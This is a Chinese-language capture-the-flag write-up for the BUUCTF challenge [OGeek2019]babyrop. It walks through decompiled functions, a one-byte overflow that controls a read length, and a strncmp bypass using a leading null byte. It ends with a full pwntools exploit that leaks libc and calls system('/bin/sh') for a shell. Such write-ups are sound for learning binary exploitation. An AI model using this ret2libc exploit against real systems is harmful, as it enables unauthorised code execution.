buuctf-[OGeek2019]babyrop

查看主函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

从urandom读入4位赋值给buf,buf又作为了sub_804871F函数的参数。

进入sub_804871F函数查看

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

由sprintf函数将a1(即主函数中的buf)写入s,从键盘读入数据赋值给buf。比较buf和s是否相同,不同则结束运行。注意这里函数返回v5变量。而read函数刚好可以溢出一字节覆盖v5的值。回到主函数,sub_804871F函数的返回值v5赋值给v2,v2作为sub_80487D0函数的参数。

进入sub_80487D0函数查看

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

这里a1的值(即sub_804871F函数的返回值v5)我们是可以控制的。这里显然a1的值影响到我们的溢出操作,所以我们直接将返回值v5修改到最大0xff。

整理思路

利用sub_804871F函数的溢出控制返回值v5,进而实现sub_80487D0函数的栈溢出执行playload。

在此之前,还需要绕过strncmp函数的判断。由于这里利用strlen函数读取buf的长度,而strlen是根据字符串结束标志(\x00)来判断的,所以我们只需要输入以‘\x00’开头的字符串截断就可以绕过判断了。

构造exp

1.溢出控制返回值v5

2.泄漏libc

3.执行payload

from pwn import *
from LibcSearcher import *

#r=remote('node3.buuoj.cn',28727)
r=process('./pwn1')
elf=ELF('./pwn1')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

#溢出控制返回值v5
payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄漏libc
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

#计算libc_base,system_addr,bin_sh_addr
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

#执行payload
r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

你可能感兴趣的:(Buuctf)